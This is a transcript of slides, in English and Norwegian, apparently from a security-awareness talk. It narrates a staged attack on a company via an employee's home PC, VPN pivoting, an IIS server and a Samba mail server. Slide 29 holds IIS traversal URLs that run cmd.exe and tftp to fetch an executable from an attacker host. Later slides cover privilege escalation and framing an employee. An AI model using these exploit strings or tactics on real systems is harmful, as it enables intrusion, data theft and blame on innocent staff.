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The attack

The attack. Ronny Windvik Kjetil Mosesen. Agenda. Security issues Scenario for the attack The attack. Attacker’s goal. ”We wish to attack an organisation and our aim is financial gain ”. All networks/computers are on the Internet. Anonymity on the Internet, TOR (The Onion Router).

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The attack

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  1. The attack Ronny Windvik Kjetil Mosesen

  2. Agenda • Security issues • Scenario for the attack • The attack

  3. Attacker’s goal ”We wish to attack an organisation and our aim is financial gain ” All networks/computers are on the Internet

  4. Anonymity on the Internet, TOR (The Onion Router)

  5. Onion Routing Onion Routing is a distributed overlay network designed to anonymize TCP-based applications like web browsing, secure shell, and instant messaging. Clients choose a path through the network and build a circuit, in which each node (or “onion router” or “OR”) in the path knows its predecessor and successor, but no other nodes in the circuit. Traffic flows down the circuit in fixed-size cells, which are unwrapped by a symmetric key at each node (like the layers of an onion) and relayed downstream. • http://en.wikipedia.org/wiki/Onion_Routing

  6. Scenario • Localisation of home office computers in the company • Is done through a proxy server and a webserver in Sweden • Paying a script kiddie to install a rootkit on selected home computers? • Script kiddie: A person who attacks computer systems using ready made scripts. • Uses an anonymous network: allows you to connect into our network and do all your internet activities from our network. Think of it like coming into our "internet cafe" and using one of our computers. Anything you do does not reveal your identity because you are doing all your internet activities like web surfing from our computers, not yours • The script kiddis uses a rootkit and an open VPN-tunnel in to the company for the attack

  7. Protection of the home computer • Firewall • Router with Firewall and NAT • Direct acess to the computer • Modem • Broadband router with no firewall • In this case, the home computer can be accessed from the Internet

  8. Starting point

  9. The attack on a selected company • Information collecting rendering e-mail addresses • Picking out internal and external IP-adresses • Search for open unprotected services • Take over the home computer end install a rootkit • Findteh VPN-connection to the company • Collect information in the company’s domain • Access confidential information/documents – for further sale/blackmail • Take over a linux server in the company – send out Spam • Take over the company’s web server • Install rootkits wherever possible • Place evidence so the employer gets the blame

  10. Information collection • Webpages • DNS • News groups • IP-range (www.ripe.net) • What we get: • A set of valid e-mail addresses in the company • The IP-range • The Mappingen between IP-adresses and computer names

  11. Information is collected on the attacker’s web server • Alle som åpner e-posten kontakter automatisk vår webtjener • Innholder en logg med alle IP-adresser som besøker den • Slår opp IP-adressene for å finne ut hvilke som tilhører bredbåndsleverandører • Vet også hvilke brukernavn/e-postnavn som tilhører hvilke IP-adresse Hjemme PC

  12. Information collection, IP-adresses

  13. Charting use of home PC • Ønsker å finne ut når hjemme PC-en er i bruk • Utføres via proxy i Sverige • Hver IP-pakke har et ”Identification” på 16-bit • Benyttes til å fragmentere/dele opp IP-pakker • Alle fragmenter av en IP-pakke med ID=X får også ID=X ID = 1313 ID=1313 ID=1313 ID=1313 ID=1313 ID=1313 ID=1313 ID = 1313

  14. Charting use of home PC

  15. The script kiddie • Benytter en script-kiddie til å ta over hjemme PC-en • Script-kiddie jobber via anonymiseringsnettverket • Hjemme PC-en er ikke beskyttet av en brannmur Innleid hjelp

  16. Active information collection with NMAP Innleid hjelp

  17. Nmap ("Network Mapper") • Nmap ("Network Mapper") is a free open source utility for network exploration or security auditing. • It was designed to rapidly scan large networks, although it works fine against single hosts. • Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. • Nmap runs on most types of computers and both console and graphical versions are available. • Nmap is free software, available with full source code under the terms of the GNU GPL.

  18. Active information collectionNetBIOS • Avslører hvem som er logget inn og medlemskap i domene Innleid hjelp

  19. Takes over home office client Innleid hjelp

  20. Rootkits, leaving back doors • Programs • Skjermsparere, fildelingsprogrammer, … • Java Scripts, Applets, Active X,... • Modifiserte systemkommandoer • dir, ps, who, ifconfig, su, login, net, … • Kernel rootkit • Lastbare kjernemoduler, (IPSec-modul) • Device drivere

  21. Installing a rootkit on the home computer • The script kiddie installs a rootkit on the home computer • Rootkit aktiveres ved å sende en ICMP-echo-reply eller -time • Åpner da en port for å gi tilgang til hjemme PC-en • Kan også sette hjemme PC-en til å kontakte oss • All trafikk er kryptert • Returnerer et cmd-vindu til oss • Rootkit er passordbeskyttet og ikke synlig i noen logger på hjemme PC-en • Den innleide script-kiddie er nå ferdig med sin del Innleid hjelp

  22. Script-kiddie takes over home computer

  23. Sees a VPN-tunnel defined in Windows

  24. Tests VPN tunnel

  25. Damage done • Har utnyttet tilliten til hjemmekontor PC-en i bedriften sitt domene • Har samlet inn mye bedriftsinterne dokumenter • Informasjonen kan selges til konkurrenter, aksjespekulanter eller andre som mulighet for utpressing

  26. Collecting document

  27. Attack on company’s web server • Betingelser • Web-tjeneren/serveren er en Windows maskin • Kjører Internet Information Server (IIS) (web-tjeneren til Microsoft) • Har ikke installert patchene for feilene/sikkerhetshullene vi skal utnytte

  28. Security holes • Bug in IIS • Kan få kjørt de fleste programmer på web-tjeneren • Eksternt • Faulty access rights Kan få kjørt programmer som Administrator • Lokalt

  29. Bug in IIS (BID 2708) • Internet Information Services - a powerful Web server • Hvordan få startet og kjørt programmer på web-tjeneren ? • http://www/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+ tftp –i hacker_box.com GET FIL.exe C:\temp\FIL.exe • http://www/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+ rename min-fil.htm C:\inetpub\wwwroot\default.htm • http://www.hackingspirits.com/eth-hac/papers/iis_uni.html

  30. Faults in controlling access rights • How to run programs as Administrator ? • Utnytter en feil i hvordan prosesser/programmer internt i en Windows maskin kommuniserer • Forenklet sagt spoofer vi også her avsenderen, ved å kjøre et program kalt HK.EXE • For programmet som mottar, vil det alltid se ut som om det er et program med Administratorrettigheter som er avsender

  31. Start tftp, og send med parameterene tftp –i GET /tftp-dir/HK.exe c:\inetpub\wwwroot\HK.exe Ulovlig innhold Changing the web server www angriper

  32. Kjør HK.exe (gir Administrator rettigheter) Legg nedlastet fil som hjemmeside Se på den nye hjemmesiden Changing the web server www angriper

  33. Changing the web server

  34. Attackin the comapny’s e-mail server • E-posttjeneren viser seg å være sårbar for et Samba exploit • Gir oss root rettigheter

  35. Taking over e-mail server, sending SPAM

  36. What happened • Kartlagt hjemmekontorbrukere for en utvalgt bedrift • Leid inn en script-kiddie til å overta hjemmekontor PC-en • Brukt tillit hjemmekontor PC-en har til å komme inn i bedriften • Samlet inn bedriftsinterne dokumenter • Overtatt webtjener og lagt ut ulovlig innhold • Overtatt e-posttjeneren og sendt ut mye SPAM • Mye gjort via anonymiseringsnettverk • Men, ikke alt…

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